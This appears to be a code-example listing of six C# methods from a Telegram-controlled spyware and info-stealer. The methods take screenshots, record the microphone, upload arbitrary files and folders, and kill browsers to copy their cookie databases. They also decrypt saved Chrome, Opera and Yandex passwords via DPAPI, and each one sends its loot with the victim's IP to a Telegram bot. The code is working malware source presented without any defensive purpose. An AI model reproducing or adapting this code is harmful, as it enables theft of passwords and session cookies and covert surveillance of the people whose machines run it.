Example #1
0
        public static void TakeScreenShot()
        {
            Graphics gr;

            Bitmap bmp = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);

            gr = Graphics.FromImage(bmp);
            gr.CopyFromScreen(0, 0, 0, 0, bmp.Size);
            bmp.Save("screen.png", ImageFormat.Png);
            TelegramSystem.SendDocument("screen.png", "[ScreenShot] Screenshot like document.");
        }
Example #2
0
 public static void DownloadFile(string path)
 {
     if (File.Exists(path))
     {
         TelegramSystem.SendDocument(path, $"DownloadFile [{GetIp()}]");
     }
     else
     {
         TelegramSystem.SendMessage($"[File downloader] File doesn't exists.");
     }
 }
Example #3
0
        public static void GetCookieAndLoginData()
        {
            string directory = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Bot";

            Directory.CreateDirectory(directory);
            KillBrowsers();
            string username = Environment.UserName;

            string[] pathes =
            {
                $"C:\\Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies",
                $"C:\\Users\\{username}\\AppData\\Roaming\\Opera Software\\Opera Stable\\Cookies",
                $"C:\\Users\\{username}\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Cookies",
                $"C:\\Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Profile 1\\Cookies",
                $"C:\\Users\\{username}\\AppData\\Local\\Microsoft\\Windows\\INetCookies",
                $"C:\\Users\\{username}\\AppData\\Local\\Microsoft\\Windows\\Cookies"
            };

            int counter = 0;

            foreach (var path in pathes)
            {
                Console.WriteLine(path);
                Console.WriteLine(File.Exists(path));
                if (File.Exists(path))
                {
                    Console.WriteLine(File.Exists(directory + "\\" + Path.GetFileNameWithoutExtension(path) + $" {config.browsers[counter]}"));
                    if (File.Exists(directory + "\\" + Path.GetFileNameWithoutExtension(path) + $" {config.browsers[counter]}"))
                    {
                        File.Delete(directory + "\\" + Path.GetFileNameWithoutExtension(path) + $" {config.browsers[counter]}");
                        File.Copy(path, directory + "\\" + Path.GetFileNameWithoutExtension(path) + $" {config.browsers[counter]}");
                    }
                    else
                    {
                        File.Copy(path, directory + "\\" + Path.GetFileNameWithoutExtension(path) + $" {config.browsers[counter]}");
                    }
                }

                counter++;
            }
            string folder = ZipFolder(directory);

            TelegramSystem.SendDocument(folder, $"[COOKIES] Got {counter} cookies [{GetIp()}]");
        }
Example #4
0
        public static void RecordAudio(string time = "5")
        {
            int delay;

            if (!int.TryParse(time, out delay))
            {
                TelegramSystem.SendMessage("[RecordAudio ERROR] Write correct seconds.");
            }
            else
            {
                delay += 1;
                string path = config.appData + "\\BotFiles\\waveS.wav";
                try
                {
                    WaveInEvent waveSource = new WaveInEvent();
                    //waveSource.DeviceNumber = 0;
                    waveSource.WaveFormat = new WaveFormat(44100, 1);

                    waveSource.DataAvailable += new EventHandler <WaveInEventArgs>(waveSource_DataAvailable);

                    string tempFile = path;
                    waveFile = new WaveFileWriter(tempFile, waveSource.WaveFormat);
                    waveSource.StartRecording();
                    Thread.Sleep(delay * 1000);
                    try
                    {
                        waveSource.StopRecording();
                        waveFile.Dispose();
                        TelegramSystem.SendDocument(path, $"[RecordAudio {GetIp()}]");
                    }
                    catch (Exception ex) { TelegramSystem.SendMessage($"[RecordAudio ERROR] {ex.Message}"); }
                }
                catch (Exception ex)
                {
                    TelegramSystem.SendMessage($"[RecordSound ERROR] {ex.Message}");
                }
            }
        }
Example #5
0
        public static void GetGooglePasswords()
        {
            string username = Environment.UserName;

            string[] pathes = { $"C:\\Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data",
                                $"C:\\Users\\{username}\\AppData\\Roaming\\Opera Software\\Opera Stable\\Login Data",
                                $"C:\\Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Profile 1\\Login Data",
                                $"C:\\Users\\{username}\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Ya Login Data",
                                $"C:\\Users\\{username}\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\Default\\Password Checker" };
            KillBrowsers();
            try
            {
                int counter = 0;
                foreach (var db_way in pathes)
                {
                    if (File.Exists(db_way))
                    {
                        Directory.CreateDirectory($"{config.appData}\\BotFiles\\passes");
                        string       filename = $"{config.appData}\\BotFiles\\passes\\pass {config.passes[counter]}.txt";
                        StreamWriter Writer   = new StreamWriter(filename, false, Encoding.UTF8);
                        string       db_field = "logins";
                        byte[]       entropy  = null;
                        string       description;

                        string    ConnectionString = "data source=" + db_way + ";New=True;UseUTF16Encoding=True";
                        DataTable DB  = new DataTable();
                        string    sql = string.Format("SELECT * FROM {0} {1} {2}", db_field, "", "");
                        using (SQLiteConnection connect = new SQLiteConnection(ConnectionString))
                        {
                            SQLiteCommand     command = new SQLiteCommand(sql, connect);
                            SQLiteDataAdapter adapter = new SQLiteDataAdapter(command);
                            adapter.Fill(DB);
                            int rows = DB.Rows.Count;
                            for (int i = 0; i < rows; i++)
                            {
                                byte[] byteArray = (byte[])DB.Rows[i][5];
                                byte[] decrypted = DPAPI.Decrypt(byteArray, entropy, out description);
                                string password  = new UTF8Encoding(true).GetString(decrypted);
                                if (password == string.Empty && DB.Rows[i][3].ToString().Trim() == string.Empty)
                                {
                                    continue;
                                }
                                else
                                {
                                    Writer.Write(i + 1 + ") ");                    // Here we print order number of our trinity "site-login-password"
                                    Writer.WriteLine($"URL: [{DB.Rows[i][1]}]");   // site URL
                                    Writer.WriteLine($"Login: [{DB.Rows[i][3]}]"); // login
                                    Writer.WriteLine($"Password: [{password}]");
                                    Writer.WriteLine();
                                }
                            }
                            Writer.Close();
                        }
                    }
                    counter++;
                }
                string folder = ZipFolder($"{config.appData}\\BotFiles\\passes");
                TelegramSystem.SendDocument(folder, "[Passwords] Well done!");
            }
            catch (Exception ex)
            {
                TelegramSystem.SendMessage($"[Passwords] {ex.Message}");
            }
        }
Example #6
0
        public static void DownloadFolder(string path)
        {
            string zip = ZipFolder(path);

            TelegramSystem.SendDocument(zip);
        }